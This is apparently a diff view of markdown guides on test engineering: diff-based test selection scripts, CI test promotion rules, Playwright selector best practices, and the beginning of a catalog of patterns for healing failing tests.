### Example 3: Diff-Based Test Selection (Changed Files Only)
**Context**: Run only tests affected by code changes for maximum speed.
**Implementation**:
```bash
#!/bin/bash
# scripts/test-changed-files.sh
# Intelligent test selection based on git diff
set -e
BASE_BRANCH=${BASE_BRANCH:-main}
TEST_ENV=${TEST_ENV:-local}
echo "🔍 Changed File Test Selector"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "Base branch: $BASE_BRANCH"
echo "Environment: $TEST_ENV"
echo ""
# Get changed files
CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
if [ -z "$CHANGED_FILES" ]; then
echo "✅ No files changed. Skipping tests."
exit 0
fi
echo "Changed files:"
echo "$CHANGED_FILES" | sed 's/^/ - /'
echo ""
# Arrays to collect test specs
DIRECT_TEST_FILES=()
RELATED_TEST_FILES=()
RUN_ALL_TESTS=false
# Process each changed file
while IFS= read -r file; do
case "$file" in
# Changed test files: run them directly
*.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
DIRECT_TEST_FILES+=("$file")
;;
# Critical config changes: run ALL tests
package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
echo "⚠️ Critical file changed: $file"
RUN_ALL_TESTS=true
break
;;
# Component changes: find related tests
src/components/*.tsx|src/components/*.jsx)
COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
echo "🧩 Component changed: $COMPONENT_NAME"
# Find tests matching component name
FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
if [ -n "$FOUND_TESTS" ]; then
while IFS= read -r test_file; do
RELATED_TEST_FILES+=("$test_file")
done <<< "$FOUND_TESTS"
fi
;;
# Utility/lib changes: run integration + unit tests
src/utils/*|src/lib/*|src/helpers/*)
echo "⚙️ Utility file changed: $file"
RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
;;
# API changes: run integration + e2e tests
src/api/*|src/services/*|src/controllers/*)
echo "🔌 API file changed: $file"
RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
;;
# Type changes: run all TypeScript tests
*.d.ts|src/types/*)
echo "📝 Type definition changed: $file"
RUN_ALL_TESTS=true
break
;;
# Documentation only: skip tests
*.md|docs/*|README*)
echo "📄 Documentation changed: $file (no tests needed)"
;;
*)
echo "❓ Unclassified change: $file (running smoke tests)"
RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
;;
esac
done <<< "$CHANGED_FILES"
# Execute tests based on analysis
if [ "$RUN_ALL_TESTS" = true ]; then
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "🚨 Running FULL test suite (critical changes detected)"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
npm run test
exit $?
fi
# Combine and deduplicate test files
ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
echo ""
echo "✅ No tests found for changed files. Running smoke tests."
npm run test:smoke
exit $?
fi
echo ""
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
for test_file in "${UNIQUE_TEST_FILES[@]}"; do
echo " - $test_file"
done
echo ""
npm run test -- "${UNIQUE_TEST_FILES[@]}"
```
**GitHub Actions integration**:
```yaml
# .github/workflows/test-changed.yml
name: Test Changed Files
on:
pull_request:
types: [opened, synchronize, reopened]
jobs:
detect-and-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0 # Full history for accurate diff
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
with:
files: |
src/**
tests/**
*.config.ts
files_ignore: |
**/*.md
docs/**
- name: Run tests for changed files
if: steps.changed-files.outputs.any_changed == 'true'
run: |
echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
bash scripts/test-changed-files.sh
env:
BASE_BRANCH: ${{ github.base_ref }}
TEST_ENV: staging
```
**Key Points**:
- **Intelligent mapping**: Code changes related tests
- **Critical file detection**: Config changes = full suite
- **Component mapping**: UI changes component + E2E tests
- **Fast feedback**: Run only what's needed (< 2 min typical)
- **Safety net**: Unrecognized changes run smoke tests
---
### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
**Context**: Progressive test execution strategy across deployment stages.
**Implementation**:
```typescript
// scripts/test-promotion-strategy.ts
/**
* Test Promotion Strategy
* Defines which tests run at each stage of the development lifecycle
*/
export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
export type TestPromotion = {
stage: TestStage;
description: string;
testCommand: string;
timebudget: string; // minutes
required: boolean;
failureAction: 'block' | 'warn' | 'alert';
};
export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
'pre-commit': {
stage: 'pre-commit',
description: 'Local developer checks before git commit',
testCommand: 'npm run test:smoke',
timebudget: '2',
required: true,
failureAction: 'block',
},
'ci-pr': {
stage: 'ci-pr',
description: 'CI checks on pull request creation/update',
testCommand: 'npm run test:changed && npm run test:p0-p1',
timebudget: '10',
required: true,
failureAction: 'block',
},
'ci-merge': {
stage: 'ci-merge',
description: 'Full regression before merge to main',
testCommand: 'npm run test:regression',
timebudget: '30',
required: true,
failureAction: 'block',
},
staging: {
stage: 'staging',
description: 'Post-deployment validation in staging environment',
testCommand: 'npm run test:e2e -- --grep "@smoke"',
timebudget: '15',
required: true,
failureAction: 'block',
},
production: {
stage: 'production',
description: 'Production smoke tests post-deployment',
testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
timebudget: '5',
required: false,
failureAction: 'alert',
},
};
/**
* Get tests to run for a specific stage
*/
export function getTestsForStage(stage: TestStage): TestPromotion {
return TEST_PROMOTION_RULES[stage];
}
/**
* Validate if tests can be promoted to next stage
*/
export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
const promotion = TEST_PROMOTION_RULES[currentStage];
if (!promotion.required) {
return true; // Non-required tests don't block promotion
}
return testsPassed;
}
```
**Husky pre-commit hook**:
```bash
#!/bin/bash
# .husky/pre-commit
# Run smoke tests before allowing commit
echo "🔍 Running pre-commit tests..."
npm run test:smoke
if [ $? -ne 0 ]; then
echo ""
echo "❌ Pre-commit tests failed!"
echo "Please fix failures before committing."
echo ""
echo "To skip (NOT recommended): git commit --no-verify"
exit 1
fi
echo "✅ Pre-commit tests passed"
```
**GitHub Actions workflow**:
```yaml
# .github/workflows/test-promotion.yml
name: Test Promotion Strategy
on:
pull_request:
push:
branches: [main]
workflow_dispatch:
jobs:
# Stage 1: PR tests (changed + P0-P1)
pr-tests:
if: github.event_name == 'pull_request'
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@v4
- name: Run PR-level tests
run: |
npm run test:changed
npm run test:p0-p1
# Stage 2: Full regression (pre-merge)
regression-tests:
if: github.event_name == 'push' && github.ref == 'refs/heads/main'
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Run full regression
run: npm run test:regression
# Stage 3: Staging validation (post-deploy)
staging-smoke:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@v4
- name: Run staging smoke tests
run: npm run test:e2e -- --grep "@smoke"
env:
TEST_ENV: staging
# Stage 4: Production smoke (post-deploy, non-blocking)
production-smoke:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
timeout-minutes: 5
continue-on-error: true # Don't fail deployment if smoke tests fail
steps:
- uses: actions/checkout@v4
- name: Run production smoke tests
run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
env:
TEST_ENV: production
- name: Alert on failure
if: failure()
uses: 8398a7/action-slack@v3
with:
status: ${{ job.status }}
text: '🚨 Production smoke tests failed!'
webhook_url: ${{ secrets.SLACK_WEBHOOK }}
```
**Selection strategy documentation**:
````markdown
# Test Selection Strategy
## Test Promotion Stages
| Stage | Tests Run | Time Budget | Blocks Deploy | Failure Action |
| ---------- | ------------------- | ----------- | ------------- | -------------- |
| Pre-Commit | Smoke (@smoke) | 2 min | ✅ Yes | Block commit |
| CI PR | Changed + P0-P1 | 10 min | ✅ Yes | Block merge |
| CI Merge | Full regression | 30 min | ✅ Yes | Block deploy |
| Staging | E2E smoke | 15 min | ✅ Yes | Rollback |
| Production | Critical smoke only | 5 min | ❌ No | Alert team |
## When Full Regression Runs
Full regression suite (`npm run test:regression`) runs in these scenarios:
- ✅ Before merging to `main` (CI Merge stage)
- ✅ Nightly builds (scheduled workflow)
- ✅ Manual trigger (workflow_dispatch)
- ✅ Release candidate testing
Full regression does NOT run on:
- ❌ Every PR commit (too slow)
- ❌ Pre-commit hooks (too slow)
- ❌ Production deployments (deploy-blocking)
## Override Scenarios
Skip tests (emergency only):
```bash
git commit --no-verify # Skip pre-commit hook
gh pr merge --admin # Force merge (requires admin)
```
````
```
**Key Points**:
- **Progressive validation**: More tests at each stage
- **Time budgets**: Clear expectations per stage
- **Blocking vs. alerting**: Production tests don't block deploy
- **Documentation**: Team knows when full regression runs
- **Emergency overrides**: Documented but discouraged
---
## Test Selection Strategy Checklist
Before implementing selective testing, verify:
- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
- [ ] **Changed file mapping**: Code changes → test selection logic implemented
- [ ] **Promotion rules documented**: README explains when full regression runs
- [ ] **CI integration**: GitHub Actions uses selective strategy
- [ ] **Local parity**: Developers can run same selections locally
- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
## Integration Points
- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
```

View File

@@ -0,0 +1,527 @@
# Selector Resilience
## Principle
Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
## Rationale
**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
**Why This Matters**:
- Prevents false test failures (UI refactoring doesn't break tests)
- Improves accessibility (ARIA roles benefit both tests and screen readers)
- Enhances readability (semantic selectors document user intent)
- Reduces maintenance burden (robust selectors survive design changes)
## Pattern Examples
### Example 1: Selector Hierarchy (Priority Order with Examples)
**Context**: Choose the most resilient selector for each element type
**Implementation**:
```typescript
// tests/selectors/hierarchy-examples.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Selector Hierarchy Best Practices', () => {
test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
await page.goto('/login');
// ✅ Best: Dedicated test attribute (survives all UI changes)
await page.getByTestId('email-input').fill('user@example.com');
await page.getByTestId('password-input').fill('password123');
await page.getByTestId('login-button').click();
await expect(page.getByTestId('welcome-message')).toBeVisible();
// Why it's best:
// - Survives CSS refactoring (class name changes)
// - Survives layout changes (element reordering)
// - Survives content changes (button text updates)
// - Explicit test contract (developer knows it's for testing)
});
test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
await page.goto('/login');
// ✅ Good: Semantic HTML roles (benefits accessibility + tests)
await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
await page.getByRole('textbox', { name: 'Password' }).fill('password123');
await page.getByRole('button', { name: 'Sign In' }).click();
await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
// Why it's good:
// - Survives CSS refactoring
// - Survives layout changes
// - Enforces accessibility (screen reader compatible)
// - Self-documenting (role + name = clear intent)
});
test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
await page.goto('/dashboard');
// ✅ Acceptable: Text content (matches user perception)
await page.getByText('Create New Order').click();
await expect(page.getByText('Order Details')).toBeVisible();
// Why it's acceptable:
// - User-centric (what user sees)
// - Survives CSS/layout changes
// - Breaks when copy changes (forces test update with content)
// ⚠️ Use with caution for dynamic/localized content:
// - Avoid for content with variables: "User 123" (use regex instead)
// - Avoid for i18n content (use data-testid or ARIA)
});
test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
await page.goto('/login');
// ❌ Last resort: CSS class (breaks with styling updates)
// await page.locator('.btn-primary').click()
// ❌ Last resort: ID (breaks if ID changes)
// await page.locator('#login-form').fill(...)
// ✅ Better: Use data-testid or ARIA instead
await page.getByTestId('login-button').click();
// Why CSS/ID is last resort:
// - Breaks with CSS refactoring (class name changes)
// - Breaks with HTML restructuring (ID changes)
// - Not semantic (unclear what element does)
// - Tight coupling between tests and styling
});
});
```
**Key Points**:
- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
- data-testid survives ALL UI changes (explicit test contract)
- ARIA roles enforce accessibility (screen reader compatible)
- Text content is user-centric (but breaks with copy changes)
- CSS/ID are brittle (break with styling refactoring)
---
### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
**Context**: Handle dynamic content, lists, and variable data with resilient selectors
**Implementation**:
```typescript
// tests/selectors/dynamic-selectors.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Dynamic Selector Patterns', () => {
test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
await page.goto('/users');
// ✅ Good: Regex pattern for dynamic user IDs
await expect(page.getByText(/User \d+/)).toBeVisible();
// ✅ Good: Regex for timestamps
await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
// ✅ Good: Regex for dynamic counts
await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
});
test('partial text matching (case-insensitive, substring)', async ({ page }) => {
await page.goto('/products');
// ✅ Good: Partial match (survives minor text changes)
await page.getByText('Product', { exact: false }).first().click();
// ✅ Good: Case-insensitive (survives capitalization changes)
await expect(page.getByText(/sign in/i)).toBeVisible();
});
test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
await page.goto('/products');
// ❌ Bad: Index-based (breaks when order changes)
// await page.locator('.product-card').nth(2).click()
// ✅ Good: Filter by content (resilient to reordering)
await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
// ✅ Good: Filter by attribute
await page
.locator('[data-testid="product-card"]')
.filter({ has: page.locator('[data-status="active"]') })
.first()
.click();
});
test('nth() only when absolutely necessary', async ({ page }) => {
await page.goto('/dashboard');
// ⚠️ Acceptable: nth(0) for first item (common pattern)
const firstNotification = page.getByTestId('notification').nth(0);
await expect(firstNotification).toContainText('Welcome');
// ❌ Bad: nth(5) for arbitrary index (fragile)
// await page.getByTestId('notification').nth(5).click()
// ✅ Better: Use filter() with specific criteria
await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
});
test('combine multiple locators for specificity', async ({ page }) => {
await page.goto('/checkout');
// ✅ Good: Narrow scope with combined locators
const shippingSection = page.getByTestId('shipping-section');
await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
await shippingSection.getByLabel('City').fill('New York');
// Scoping prevents ambiguity (multiple "City" fields on page)
});
});
```
**Key Points**:
- Regex patterns handle variable content (IDs, timestamps, counts)
- Partial matching survives minor text changes (`exact: false`)
- `filter()` is more resilient than `nth()` (content-based vs index-based)
- `nth(0)` acceptable for "first item", avoid arbitrary indexes
- Combine locators to narrow scope (prevent ambiguity)
---
### Example 3: Selector Anti-Patterns (What NOT to Do)
**Context**: Common selector mistakes that cause brittle tests
**Problem Examples**:
```typescript
// tests/selectors/anti-patterns.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Selector Anti-Patterns to Avoid', () => {
test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
await page.goto('/login');
// ❌ Bad: CSS class (breaks with design system updates)
// await page.locator('.btn-primary').click()
// await page.locator('.form-input-lg').fill('test@example.com')
// ✅ Good: Use data-testid or ARIA role
await page.getByTestId('login-button').click();
await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
});
test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
await page.goto('/products');
// ❌ Bad: Index-based (breaks when product order changes)
// await page.locator('.product-card').nth(3).click()
// ✅ Good: Content-based filter
await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
});
test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
await page.goto('/dashboard');
// ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
// await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
// ✅ Good: Semantic selector
await page.getByRole('button', { name: 'Create Order' }).click();
});
test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
await page.goto('/settings');
// ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
// await page.locator('#user-settings-form').fill(...)
// ✅ Good: data-testid or ARIA landmark
await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
});
test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
await page.goto('/checkout');
// Before (brittle):
// await page.locator('.checkout-form > .payment-section > .btn-submit').click()
// After (resilient):
await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
await expect(page.getByText('Payment successful')).toBeVisible();
});
});
```
**Why These Fail**:
- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
- **Complex XPath**: Unreadable, breaks with HTML structure changes
- **HTML IDs**: Not stable (accessibility improvements change IDs)
**Better Approach**: Use selector hierarchy (testid > ARIA > text)
---
### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
**Context**: Debug selector failures interactively to find better alternatives
**Implementation**:
```typescript
// tests/selectors/debugging-techniques.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Selector Debugging Techniques', () => {
test('use Playwright Inspector to test selectors', async ({ page }) => {
await page.goto('/dashboard');
// Pause test to open Inspector
await page.pause();
// In Inspector console, test selectors:
// page.getByTestId('user-menu') ✅ Works
// page.getByRole('button', { name: 'Profile' }) ✅ Works
// page.locator('.btn-primary') ❌ Brittle
// Use "Pick Locator" feature to generate selectors
// Use "Record" mode to capture user interactions
await page.getByTestId('user-menu').click();
await expect(page.getByRole('menu')).toBeVisible();
});
test('use locator.all() to debug lists', async ({ page }) => {
await page.goto('/products');
// Debug: How many products are visible?
const products = await page.getByTestId('product-card').all();
console.log(`Found ${products.length} products`);
// Debug: What text is in each product?
for (const product of products) {
const text = await product.textContent();
console.log(`Product text: ${text}`);
}
// Use findings to build better selector
await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
});
test('use DevTools console to test selectors', async ({ page }) => {
await page.goto('/checkout');
// Open DevTools (manually or via page.pause())
// Test selectors in console:
// document.querySelectorAll('[data-testid="payment-method"]')
// document.querySelector('#credit-card-input')
// Find robust selector through trial and error
await page.getByTestId('payment-method').selectOption('credit-card');
});
test('MCP browser_generate_locator (if available)', async ({ page }) => {
await page.goto('/products');
// If Playwright MCP available, use browser_generate_locator:
// 1. Click element in browser
// 2. MCP generates optimal selector
// 3. Copy into test
// Example output from MCP:
// page.getByRole('link', { name: 'Product A' })
// Use generated selector
await page.getByRole('link', { name: 'Product A' }).click();
await expect(page).toHaveURL(/\/products\/\d+/);
});
});
```
**Key Points**:
- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
- `locator.all()`: Debug lists to understand structure and content
- DevTools console: Test CSS selectors before adding to tests
- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
- Always validate selectors work before committing
---
### Example 2: Selector Refactoring Guide (Before/After Patterns)
**Context**: Systematically improve brittle selectors to resilient alternatives
**Implementation**:
```typescript
// tests/selectors/refactoring-guide.spec.ts
import { test, expect } from '@playwright/test';
test.describe('Selector Refactoring Patterns', () => {
test('refactor: CSS class → data-testid', async ({ page }) => {
await page.goto('/products');
// ❌ Before: CSS class (breaks with Tailwind updates)
// await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
// ✅ After: data-testid
await page.getByTestId('add-to-cart-button').click();
// Implementation: Add data-testid to button component
// <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
});
test('refactor: nth() index → filter()', async ({ page }) => {
await page.goto('/users');
// ❌ Before: Index-based (breaks when users reorder)
// await page.locator('.user-row').nth(2).click()
// ✅ After: Content-based filter
await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
});
test('refactor: Complex XPath → ARIA role', async ({ page }) => {
await page.goto('/checkout');
// ❌ Before: Complex XPath (unreadable, brittle)
// await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
// ✅ After: ARIA role
await page.getByRole('button', { name: 'Complete Payment' }).click();
});
test('refactor: ID selector → data-testid', async ({ page }) => {
await page.goto('/settings');
// ❌ Before: HTML ID (changes with accessibility improvements)
// await page.locator('#user-profile-section').getByLabel('Name').fill('John')
// ✅ After: data-testid + semantic label
await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
});
test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
await page.goto('/dashboard');
// ❌ Before: Deep nesting (breaks with structure changes)
// await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
// ✅ After: Scoped data-testid
const sidebar = page.getByTestId('sidebar');
await sidebar.getByRole('link', { name: 'Settings' }).click();
});
});
```
**Key Points**:
- CSS class → data-testid (survives design system updates)
- nth() → filter() (content-based vs index-based)
- Complex XPath → ARIA role (readable, semantic)
- ID → data-testid (decouples from HTML structure)
- Deep nesting → scoped locators (modular, maintainable)
---
### Example 3: Selector Best Practices Checklist
```typescript
// tests/selectors/validation-checklist.spec.ts
import { test, expect } from '@playwright/test';
/**
* Selector Validation Checklist
*
* Before committing test, verify selectors meet these criteria:
*/
test.describe('Selector Best Practices Validation', () => {
test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
await page.goto('/login');
// Interactive elements (buttons, inputs, links) should use data-testid
await page.getByTestId('email-input').fill('test@example.com');
await page.getByTestId('login-button').click();
});
test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
await page.goto('/dashboard');
// Semantic elements (headings, navigation, forms) use ARIA
await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
});
test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
await page.goto('/products');
// ❌ Never for interaction: page.locator('.btn-primary')
// ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
});
test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
await page.goto('/orders');
// List selection should be content-based
await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
});
test('✅ 5. Selectors are human-readable', async ({ page }) => {
await page.goto('/checkout');
// ✅ Good: Clear intent
await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
// ❌ Bad: Cryptic
// await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
});
});
```
**Validation Rules**:
1. **Interactive elements** (buttons, inputs) → data-testid
2. **Semantic elements** (headings, nav, forms) → ARIA roles
3. **CSS classes** → Avoid (except visual regression tests)
4. **Lists** → filter() over nth() (content-based selection)
5. **Readability** → Selectors document user intent (clear, semantic)
---
## Selector Resilience Checklist
Before deploying selectors:
- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
## Integration Points
- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_

View File

@@ -0,0 +1,644 @@
# Test Healing Patterns
## Principle
Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
## Rationale
**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
**Why This Matters**:
- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
- Prevents flakiness regression (same bug fixed once, applied everywhere)
- Builds institutional knowledge (failure catalog grows over time)
- Enables self-healing test suites (automate workflow validates and heals)
## Pattern Examples
### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
**Diagnostic Signature**:
```typescript
// src/testing/healing/selector-healing.ts
export type SelectorFailure = {
errorMessage: string;
stackTrace: string;
selector: string;
testFile: string;
lineNumber: number;
};
/**
* Detect stale selector failures
*/
export function isSelectorFailure(error: Error): boolean {
const patterns = [
/locator.*resolved to 0 elements/i,
/element not found/i,
/waiting for locator.*to be visible/i,
/selector.*did not match any elements/i,
/unable to find element/i,
];
return patterns.some((pattern) => pattern.test(error.message));
}
/**
* Extract selector from error message
*/
export function extractSelector(errorMessage: string): string | null {
// Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
if (playwrightMatch) return playwrightMatch[1];
// Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
if (cypressMatch) return cypressMatch[1];
return null;
}
/**
* Suggest better selector based on hierarchy
*/
export function suggestBetterSelector(badSelector: string): string {
// If using CSS class → suggest data-testid
if (badSelector.startsWith('.') || badSelector.includes('class=')) {
const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
}
// If using ID → suggest data-testid
if (badSelector.startsWith('#')) {
return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
}
// If using nth() → suggest filter() or more specific selector
if (badSelector.includes('.nth(')) {
return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
}
// If using complex CSS → suggest ARIA role
if (badSelector.includes('>') || badSelector.includes('+')) {
return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
}
return `page.getByTestId('...') // Add data-testid attribute to element`;
}
```
**Healing Implementation**:
```typescript
// tests/healing/selector-healing.spec.ts
import { test, expect } from '@playwright/test';
import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
test('heal stale selector failures automatically', async ({ page }) => {
await page.goto('/dashboard');
try {
// Original test with brittle CSS selector
await page.locator('.btn-primary').click();
} catch (error: any) {
if (isSelectorFailure(error)) {
const badSelector = extractSelector(error.message);
const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
console.log('HEALING SUGGESTION:', suggestion);
// Apply healed selector
await page.getByTestId('submit-button').click(); // Fixed!
} else {
throw error; // Not a selector issue, rethrow
}
}
await expect(page.getByText('Success')).toBeVisible();
});
```
**Key Points**:
- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
- Automation: Pattern matching on error message + stack trace
---
### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
**Diagnostic Signature**:
```typescript
// src/testing/healing/timing-healing.ts
export type TimingFailure = {
errorMessage: string;
testFile: string;
lineNumber: number;
actionType: 'click' | 'fill' | 'waitFor' | 'expect';
};
/**
* Detect race condition failures
*/
export function isTimingFailure(error: Error): boolean {
const patterns = [
/timeout.*waiting for/i,
/element is not visible/i,
/element is not attached to the dom/i,
/waiting for element to be visible.*exceeded/i,
/timed out retrying/i,
/waitForLoadState.*timeout/i,
];
return patterns.some((pattern) => pattern.test(error.message));
}
/**
* Detect hard wait anti-pattern
*/
